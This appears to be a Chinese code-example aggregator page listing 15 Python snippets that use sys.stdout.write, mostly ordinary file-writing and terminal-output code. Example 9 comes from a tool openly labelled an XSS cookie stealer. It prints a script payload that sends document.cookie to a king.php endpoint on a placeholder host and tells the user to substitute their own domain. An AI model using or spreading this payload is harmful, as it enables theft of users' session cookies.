本文整理汇总了Python中sys.stdout.write方法的典型用法代码示例。如果您正苦于以下问题:Python stdout.write方法的具体用法?Python stdout.write怎么用?Python stdout.write使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类sys.stdout
的用法示例。
在下文中一共展示了stdout.write方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: dump
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def dump(state):
if not options.DUMP_PRE_ERROR_STATE:
return
stdout.flush()
stderr.flush()
stdout.write(
"\n--- Pre-error state dump: --------------------------------------------\n"
)
try:
state.dump()
finally:
stdout.write(
"----------------------------------------------------------------------\n"
)
stderr.write("\n")
stdout.flush()
stderr.flush()
示例2: niwrite
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def niwrite(data,affine, name , header=None):
data[np.isnan(data)]=0
stdout.write(" + Writing file: %s ...." % name)
thishead = header
if thishead == None:
thishead = head.copy()
thishead.set_data_shape(list(data.shape))
outni = nib.Nifti1Image(data,affine,header=thishead)
outni.set_data_dtype('float64')
outni.to_filename(name)
print 'done.'
return outni
示例3: __init__
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def __init__(self, file=None, stringio=False, encoding=None):
if file is None:
if stringio:
self.stringio = file = py.io.TextIO()
else:
from sys import stdout as file
elif py.builtin.callable(file) and not (
hasattr(file, "write") and hasattr(file, "flush")):
file = WriteFile(file, encoding=encoding)
if hasattr(file, "isatty") and file.isatty() and colorama:
file = colorama.AnsiToWin32(file).stream
self.encoding = encoding or getattr(file, 'encoding', "utf-8")
self._file = file
self.hasmarkup = should_do_markup(file)
self._lastlen = 0
self._chars_on_current_line = 0
self._width_of_current_line = 0
示例4: write_out
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def write_out(fil, msg):
# XXX sometimes "msg" is of type bytes, sometimes text which
# complicates the situation. Should we try to enforce unicode?
try:
# on py27 and above writing out to sys.stdout with an encoding
# should usually work for unicode messages (if the encoding is
# capable of it)
fil.write(msg)
except UnicodeEncodeError:
# on py26 it might not work because stdout expects bytes
if fil.encoding:
try:
fil.write(msg.encode(fil.encoding))
except UnicodeEncodeError:
# it might still fail if the encoding is not capable
pass
else:
fil.flush()
return
# fallback: escape all unicode characters
msg = msg.encode("unicode-escape").decode("ascii")
fil.write(msg)
fil.flush()
示例5: update_web_event
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def update_web_event(self):
web_event = os.path.join(_base_dir, "web", "events-%s.json" % self._username)
if not os.path.exists(web_event):
self.init_event_outfile()
json_events = self.jsonify_events()
#self.bot.logger.info('####### Writing %s' % json_events)
try:
with open(web_event, "w") as outfile:
json.dump(json_events, outfile)
except (IOError, ValueError) as e:
self.bot.logger.info('[x] Error while opening events file for write: %s' % e, 'red')
except:
raise FileIOException("Unexpected error writing to {}".web_event)
示例6: download_file
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def download_file(url,filename,totalsize):
# NOTE the stream=True parameter
if os.path.isfile(filename):
return filename
r = requests.get(url, stream=True)
with open(filename, 'wb') as f:
downloadsize = 0
for chunk in r.iter_content(chunk_size=1024):
if chunk: # filter out keep-alive new chunks
f.write(chunk)
f.flush()
downloadsize += 1024
#print str(stats) + 'k',
stdout.write("\r%.1f%%" %(downloadsize*100/totalsize))
stdout.flush()
stdout.write("\n")
return filename
示例7: execute
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def execute(self):
if not self.api or not self.secret:
return
try:
certs = censys.certificates.CensysCertificates(api_id=self.api, api_secret=self.secret)
resp = certs.search("parsed.names: {}".format(self.target), fields=['parsed.names'])
for line in resp:
for sub in line['parsed.names']:
if sub.endswith(self.target):
self.handler.sub_handler({'Name': sub, 'Source': 'Censys.io'})
except Exception as e:
if str(e).startswith('403 (unauthorized):'):
stdout.write("\033[1;33m[!]\033[1;m \033[1;30mCensys.IO Authentication Failed: verify API Key/Secret\033[1;m\n")
elif '400 (max_results)' in str(e):
pass
else:
stdout.write("\033[1;33m[!]\033[1;m \033[1;30mCensys.IO Error: {}\033[1;m\n".format(str(e)))
示例8: requeen_print_state
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def requeen_print_state(qemu):
global first_line
if not first_line:
stdout.write(common.color.MOVE_CURSOR_UP(1))
else:
first_line = False
try:
size_a = str(os.stat(qemu.redqueen_workdir.redqueen()).st_size)
except:
size_a = "0"
try:
size_b = str(os.stat(qemu.redqueen_workdir.symbolic()).st_size)
except:
size_b = "0"
stdout.write(common.color.FLUSH_LINE + "Log Size:\t" + size_a + " Bytes\tSE Size:\t" + size_b + " Bytes\n")
stdout.flush()
示例9: runPEnv
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def runPEnv():
system('clear')
print '''
██████ ██████ ██████ ██ ██ ██ ███ ██ ██████ ██ ██ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ █████ ██ ██ ██ ██ ██ ███ ███ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██████ ██████ ██ ██ ██ ██ ████ ██████ ██ ██ ███████ ███████{1}
[ {0}PROOF OF CONCEPT {1}|{0} XSS COOKIE STEALER {1}]\n\n {1}Twitter: https://twitter.com/A1S0N_{1} \n'''.format(GREEN, END, YELLOW)
for i in range(101):
sleep(0.01)
stdout.write("\r{0}[{1}*{0}]{1} Preparing environment... %d%%".format(GREEN, END) % i)
stdout.flush()
print "\n\n{0}[{1}*{0}]{1} Searching for PHP installation... ".format(GREEN, END)
if 256 != system('which php'):
print " --{0}>{1} OK.".format(GREEN, END)
else:
print " --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again. http://www.php.net/".format(RED, END)
exit(0)
print "\n{0}[{1}*{0}]{1} Setting up {2}KING.PHP{1}... ".format(GREEN, END, RED)
system('touch Server/log.txt')
print " --{0}>{1} DONE.".format(GREEN, END)
print '''\n{0}[{1}*{0}]{3} XSS {1}example{1} format: \n--{0}>{1} {4}<script><a href="#" onclick="document.location='{2}http://127.0.0.1{1}{4}/king.php?cookie=' +escape(document.cookie);">CLICK HERE</a></script>{1}\n\n{2}[{1}!{2}]{1} Replace {2}YELLOW{1} links with your domain or external ip.
'''.format(GREEN, END, YELLOW, RED, CIANO)
示例10: _save_result
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def _save_result(self, result: Dict[str, str]) -> None:
try:
self.results.append(result)
if 'NS' in result.keys():
self.base.print_success('Domain: ', result['Domain'], ' NS: ', result['NS'])
else:
with open(RawDnsResolver.temporary_results_filename, 'a') as temporary_file:
temporary_file.write('Domain: ' + result['Domain'] +
' IPv4 address: ' + result['IPv4 address'] +
' IPv6 address: ' + result['IPv6 address'] + '\n')
if result['IPv6 address'] == '-':
print(self.base.cSUCCESS + '[' + str(len(self.uniq_hosts)) + '] ' + self.base.cEND +
result['Domain'] + ' - ' + result['IPv4 address'])
else:
print(self.base.cSUCCESS + '[' + str(len(self.uniq_hosts)) + '] ' + self.base.cEND +
result['Domain'] + ' - ' + result['IPv6 address'])
except AttributeError:
pass
except KeyError:
pass
# endregion
# region Parse DNS packet function
示例11: xxx_puts
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def xxx_puts(jitter):
'''
#include <stdio.h>
int puts(const char *s);
writes the string s and a trailing newline to stdout.
'''
ret_addr, args = jitter.func_args_systemv(['s'])
index = args.s
char = jitter.vm.get_mem(index, 1)
while char != b'\x00':
stdout.write(char)
index += 1
char = jitter.vm.get_mem(index, 1)
stdout.write(b'\n')
return jitter.func_ret_systemv(ret_addr, 1)
示例12: niwrite
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def niwrite(data,affine, name , header=None):
stdout.write(" + Writing file: %s ...." % name)
thishead = header
if thishead == None:
thishead = head.copy()
thishead.set_data_shape(list(data.shape))
outni = nib.Nifti1Image(data,affine,header=thishead)
outni.to_filename(name)
print 'done.'
示例13: writect
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def writect(comptable,ctname='',varexpl='-1',classarr=[]):
global acc,rej,midk,empty
if len(classarr)!=0:
acc,rej,midk,empty = classarr
nc = comptable.shape[0]
ts = time.time()
st = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')
sortab = comptable[comptable[:,1].argsort()[::-1],:]
if ctname=='': ctname = 'comp_table.txt'
open('accepted.txt','w').write(','.join([str(int(cc)) for cc in acc]))
open('rejected.txt','w').write(','.join([str(int(cc)) for cc in rej]))
open('midk_rejected.txt','w').write(','.join([str(int(cc)) for cc in midk]))
with open(ctname,'w') as f:
f.write("#\n#ME-ICA Component statistics table for: %s \n#Run on %s \n#\n" % (os.path.abspath(os.path.curdir),st) )
f.write("#Dataset variance explained by ICA (VEx): %.02f \n" % ( varexpl ) )
f.write("#Total components generated by decomposition (TCo): %i \n" % ( nc ) )
f.write("#No. accepted BOLD-like components, i.e. effective degrees of freedom for correlation (lower bound; DFe): %i\n" % ( len(acc) ) )
f.write("#Total number of rejected components (RJn): %i\n" % (len(midk)+len(rej)) )
f.write("#Nominal degress of freedom in denoised time series (..._medn.nii.gz; DFn): %i \n" % (nt-len(midk)-len(rej)) )
f.write("#ACC %s \t#Accepted BOLD-like components\n" % ','.join([str(int(cc)) for cc in acc]) )
f.write("#REJ %s \t#Rejected non-BOLD components\n" % ','.join([str(int(cc)) for cc in rej]) )
f.write("#MID %s \t#Rejected R2*-weighted artifacts\n" % ','.join([str(int(cc)) for cc in midk]) )
f.write("#IGN %s \t#Ignored components (kept in denoised time series)\n" % ','.join([str(int(cc)) for cc in empty]) )
f.write("#VEx TCo DFe RJn DFn \n")
f.write("##%.02f %i %i %i %i \n" % (varexpl,nc,len(acc),len(midk)+len(rej),nt-len(midk)-len(rej)))
f.write("# comp Kappa Rho %%Var %%Var(norm) \n")
for i in range(nc):
f.write('%d\t%f\t%f\t%.2f\t%.2f\n'%(sortab[i,0],sortab[i,1],sortab[i,2],sortab[i,3],sortab[i,4]))
示例14: write
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def write(self, msg, **kw):
if msg:
if not isinstance(msg, (bytes, text)):
msg = text(msg)
self._update_chars_on_current_line(msg)
if self.hasmarkup and kw:
markupmsg = self.markup(msg, **kw)
else:
markupmsg = msg
write_out(self._file, markupmsg)
示例15: line
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import write [as 别名]
def line(self, s='', **kw):
self.write(s, **kw)
self._checkfill(s)
self.write('\n')